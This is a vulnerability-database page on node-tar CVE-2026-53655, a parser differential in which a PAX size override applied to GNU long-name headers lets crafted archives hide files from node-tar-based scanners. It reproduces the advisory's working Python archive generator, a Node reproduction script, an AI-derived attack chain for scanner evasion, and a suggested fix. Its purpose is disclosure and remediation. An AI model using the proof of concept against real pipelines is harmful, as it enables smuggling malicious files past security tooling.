Skip to main content

node-tar CVE-2026-53655

| EUVDEUVD-2026-38255 MEDIUM
Interpretation Conflict (CWE-436)
2026-06-15 https://github.com/isaacs/node-tar GHSA-vmf3-w455-68vh
6.9
CVSS 4.0 · Vendor: https://github.com/isaacs/node-tar
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft archive with PAX size= override targeting L intermediary header
  2. Delivery
    Deliver archive via untrusted channel (registry, upload, CI artifact)
  3. Exploit
    node-tar scanner desynchronizes stream, reports zero members and TAR_ENTRY_INVALID
  4. Execution
    Security scanner clears archive as empty or errored
  5. Persist
    Downstream extractor (GNU tar/libarchive) correctly parses archive
  6. Impact
    Malicious payload extracted to disk undetected

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V4 - API and Web Service Interpretation consistency
Exploitation Conditions

No authentication, no special configuration, and no non-default options are required - the vulnerable code path is exercised by the default operation of tar.list(), tar.extract()/tar.x(), and the streaming Parser/Unpack API for any archive containing a PAX extended header (x typeflag) followed by a GNU long-name (L) or long-link (K) metadata entry. The only structural precondition is that the crafted archive reaches a system running node-tar <= 7.5.15 via an untrusted source (package registry, user upload, CI artifact, container layer). The attack's meaningful impact - security scanner evasion - additionally requires a pipeline architecture where the scanning step uses node-tar and the extraction step uses a reference parser (GNU tar, libarchive, Python tarfile); in a pipeline where only node-tar is used end-to-end, the desynchronization causes node-tar to report an error and zero members for both scanning and extraction, preventing the malicious file from landing on disk but also breaking legitimate archive processing. Exploitation is limited to integrity-of-archive-interpretation; there is no direct memory corruption, privilege escalation, or remote code execution.

Impact

No CVSS vector or EPSS score is present in the available data, so quantitative risk metrics cannot be cited; the advisory author rates severity as Medium, which aligns with the impact profile. The vulnerability is not a direct code execution or memory corruption primitive - it is a parser differential that functions as a building block for supply-chain and scanner-evasion attacks. Real-world risk is meaningfully elevated by three factors: a fully working, trivially reproducible proof-of-concept (Python stdlib only) is published in the advisory, lowering exploitation barrier to near-zero for any attacker who can deliver a crafted archive to a target pipeline; node-tar is among the most widely deployed npm packages and is used by npm itself for package-tarball handling, yielding an exceptionally broad attack surface; and the attack class (file smuggling past security tooling) is directly actionable in CI/CD and package-ingestion pipelines that use mixed parsers. No CISA KEV listing exists at time of analysis, and no EPSS probability is available. The principal limiting factor is that the vulnerability requires the crafted archive to reach a pipeline with a scanner-extractor parser mismatch - standalone node-tar deployments that use only node-tar for both listing and extracting are not subject to the evasion scenario, though they will still encounter stream desynchronization and erroneous entry-count reporting.

Exploit ScenarioDerived

An attacker crafts a tar archive using the published Python proof-of-concept: a PAX extended header block claims size=2048, followed immediately by a GNU long-name (L) metadata header and two file entries including a malicious payload. When a CI/CD pipeline's security scanner - which uses node-tar to enumerate archive members - processes this archive, node-tar desynchronizes its stream cursor at the L header, raises a TAR_ENTRY_INVALID checksum warning, and reports zero members, clearing the payload from inspection. A downstream extraction step using GNU tar, libarchive, or Python tarfile correctly parses the same archive and extracts the malicious file to disk undetected. The proof-of-concept generator requires only Python standard library and produces a valid, reproducible archive in under 20 lines of code.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 15, 2026

Tar parser interpretation differential in node-tar (npm tar package) <= 7.5.15 allows a crafted archive to present a different member list to node-tar than to GNU tar, libarchive, or Python tarfile, enabling security scanner evasion in pipelines that scan with one tool and extract with another. The flaw stems from node-tar incorrectly applying a PAX extended header's size= override to intermediary GNU long-name (L) and long-link (K) metadata headers, desynchronizing the stream cursor and causing node-tar to raise a checksum error and report zero members while reference parsers correctly extract files. A detailed, working proof-of-concept (Python stdlib only) is included in the advisory; no active exploitation (CISA KEV) has been confirmed at time of analysis, but the broad npm ecosystem blast radius - node-tar backs npm's own tarball handling - materially elevates real-world risk.

RemediationAI

Upgrade node-tar to version 7.5.16 or later; this is the vendor-released patch confirmed by GitHub Security Advisory GHSA-vmf3-w455-68vh (https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh). The fix gates PAX size overrides on the decoded header type not being an extension header (GNU L/K or PAX x/g), mirroring the fix shipped in the Rust tar ecosystem. For environments where an immediate upgrade is not feasible, a compensating control is to pre-validate archives before they reach node-tar by rejecting any archive where a PAX extended header (x typeflag) is immediately followed by a GNU long-name or long-link entry (L/K typeflags) - however, this requires custom pre-processing and adds operational complexity. A second option for security-sensitive scanner stages is to replace node-tar-based archive enumeration with a process spawning GNU tar or libarchive (bsdtar), which parse the format correctly; this eliminates the parser differential in the scanning step but introduces subprocess overhead and potential platform portability concerns. Neither compensating control is a substitute for patching to 7.5.16.

Affected VersionsENISA

node-tar < 7.5.16

Affected Packages

npm tar fix: 7.5.16
euvd node_tar fix: 7.5.16

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is in src/header.ts of node-tar, compiled to dist/esm/header.js:49 and dist/commonjs/header.js:85 in the published tar@7.5.15. The expression this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12) unconditionally applies PAX local (ex) and global (gex) extended header size overrides to any header being decoded, including intermediary extension headers. Per POSIX pax specification, PAX extended headers (x typeflag) annotate only the next *file* entry, not the GNU long-name (L) or long-link (K) metadata headers that may sit between the x block and the file it describes. In src/parse.ts, the [EX] accumulator is cleared only when a real file entry is processed - not when metadata entries (L/K/x/g) are encountered - so an archive ordered x(PAX, size=N) → L(GNU long-name) → file causes the L header's size/remain to be set to N rather than the true L payload length. This desynchronizes node-tar's stream cursor, causing it to consume the wrong number of bytes and land mid-stream, where it encounters an invalid checksum and discards all remaining entries. CWE-436 (Interpretation Conflict) precisely describes this class: the same archive body yields divergent logical member sets depending on which parser processes it. The same root cause was addressed in the Rust tar ecosystem (tar-rs / astral-tokio-tar) by guarding PAX size application on the decoded type not being an extension header type.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/isaacs/node-tar) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 5.3 MEDIUM

Network-delivered crafted archive, no auth required (PR:N), no interaction needed (UI:N); impact is limited to archive integrity interpretation with no confidentiality or availability effect.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE 6.5 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Red Hat 6.1 MEDIUM

Primary rating from Vendor (https://github.com/isaacs/node-tar).

CVSS VectorVendor: https://github.com/isaacs/node-tar

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 22, 2026 - 16:52 NVD
6.9 (MEDIUM)

DescriptionCVE.org

Summary

tar (node-tar) applies a PAX extended header's size= record (and other PAX overrides) to the next header entry of any type, including intermediary metadata headers such as a GNU long-name (L) or long-link (K) entry. Per POSIX pax, a PAX extended header (x) describes the *next file entry*, not the intermediary extension headers that may sit between the x header and the file it annotates. Because node-tar lets the PAX size override the byte length of an intervening L/K/x header, an attacker can desynchronize node-tar's stream cursor relative to every other mainstream tar implementation (GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs / astral-tokio-tar).

The result is a tar parser interpretation differential (CWE-436): a single crafted archive yields a different set of members under node-tar than under the reference tar tools. An attacker can use this to hide a member from one parser while it is visible to another, which defeats security tooling whose scanner and extractor disagree on archive contents (e.g. a malware/secret scanner that lists entries with one library while a downstream step extracts with another). node-tar is one of the most widely deployed JavaScript tar libraries (it backs npm's own package-tarball handling and is a transitive dependency of a very large fraction of the npm ecosystem), so the blast radius for "files that extract differently depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent defect and has no equivalent guard.

Impact

  • CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as

the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and GHSA-fp55-jw48-c537).

  • A crafted archive can present one logical member list to a tool that lists or

scans with node-tar and a different member list to GNU tar / libarchive / Python tarfile (and vice versa). This lets a malicious file be hidden from a scanner that uses a different parser than the eventual extractor, or hidden from node-tar-based inspection while still landing on disk via a system tar.

  • No authentication is required; the only precondition is that a victim parses

an attacker-supplied tar with node-tar. Tar archives are routinely fetched from untrusted sources (package registries, user uploads, CI artifacts, container layers).

  • Severity: Medium. Impact is integrity-of-archive-interpretation, not direct

RCE; it is a building block for supply-chain / scanner-evasion attacks rather than a standalone code-execution primitive.

Vulnerable code (file:line)

src/header.ts (compiled to dist/esm/header.js:49 and dist/commonjs/header.js:85 in the published tar@7.5.15):

ts
// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)

ex is the currently-accumulated PAX local extended header and gex the PAX global header. The size override from ex/gex is applied unconditionally to whatever header is being decoded next - there is no check that the header being decoded is a real *file* entry rather than an intermediary extension header.

src/parse.ts, [CONSUMEHEADER] constructs the next header with the current EX/GEX applied:

ts
const header = new Header(chunk, position, this[EX], this[GEX])

and later branches on whether that header is a metadata entry. this[EX] is cleared only in the non-meta (real file) branch:

ts
if (entry.meta) {
  // L / K / x / g metadata entries: this[EX] is left intact here
  if (entry.size > this.maxMetaEntrySize) {
    entry.ignore = true
    this[STATE] = 'ignore'
    entry.resume()
  } else if (entry.size > 0) {
    this[META] = ''
    entry.on('data', c => (this[META] += c))
    this[STATE] = 'meta'
  }
} else {
  this[EX] = undefined   // EX cleared only once a real file entry is reached
}

When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the L header is constructed with this[EX] still set, so its size/remain becomes N instead of the L payload's true length. node-tar then consumes N bytes of "metadata" and resumes header parsing at the wrong offset, landing mid-stream. Every other mainstream parser applies the PAX size only to the following *file* entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is to not apply PAX size/overrides when the entry being decoded is itself an extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX global).

How input reaches the sink

tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route every 512-byte header block through Header.decode(...) with the currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied archive - tar.list, tar.extract, or piping into the streaming Parser - reaches the sink. No options need to be enabled; the default code path is affected.

Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

block 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x  payload : the single PAX record  "...size=2048\n"
block 2 : L  header  (GNU long-name '././@LongLink'), real size = 13
block 3 : L  payload : "longname.txt\0"      (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)

Generator (make_tar.py, pure stdlib, no external deps):

python
def hdr(name, size, typeflag):
    h = bytearray(512); name = name[:100]; h[0:len(name)] = name
    h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
    h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
    h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
    h[148:156] = b' ' * 8
    cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
    return bytes(h)

def pad(d):
    return d + b'\0' * ((512 - len(d) % 512) % 512)

def pax_record(key, val):
# length-prefixed PAX record "LEN key=val\n"
    body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
    while True:
        s = str(n).encode() + body
        if len(s) == n: break
        n = len(s)
    return s

pax = pax_record('size', 2048)
# malicious: claim size=2048 for the "next" entry
out  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)

A negative-control archive is identical except the PAX record is pax_record('comment', 'x') (no size=), written to pax-control.tar.

End-to-end reproduction (against pinned version tar@7.5.15, latest release)

Install the published package into a clean project and parse both archives:

$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);

e2e.mjs:

js
import * as tar from 'tar'
async function listEntries(f){
  const got=[], warns=[]
  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
                   onwarn:(code,_msg)=>warns.push(code) })
  return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))

Verbatim output:

=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
  tar.list() entries : []
  tar.list() warnings: ["TAR_ENTRY_INVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
  tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
  tar.list() warnings: []

Reference parsers on the same pax-desync.tar:

$ tar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt
# GNU tar

$ bsdtar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt
# libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt']
# Python tarfile

Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile all extract the member longname.txt from pax-desync.tar, whereas node-tar 7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from landing mid-stream), and reports zero members. The negative control proves the divergence is caused solely by the PAX size= override being applied to the intermediary L header - when the same archive carries a PAX record without size=, node-tar parses it identically to the reference tools (longname.txt, file_b).

Suggested fix

When decoding a header, do not apply PAX size (or other PAX overrides) if the header being decoded is itself an extension header. Concretely, in src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath (GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in Header.decode, gate the ex?.size ?? gex?.size override on the decoded type not being one of those extension types. This mirrors the upstream Rust fix, which guards pax_size with is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.

A fix PR is being prepared against a private fork and will be linked here.

Fix PR

To be linked from a private fork of the repository (the fix will not be pushed to any public fork or to upstream during embargo).

Credits

Reported by tonghuaroot.

Threat Intelligence Overview

EPSS Score
0.1%
Top 98% exploitable
Threat Intel
1
1 sources
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA MSRC Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 12 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy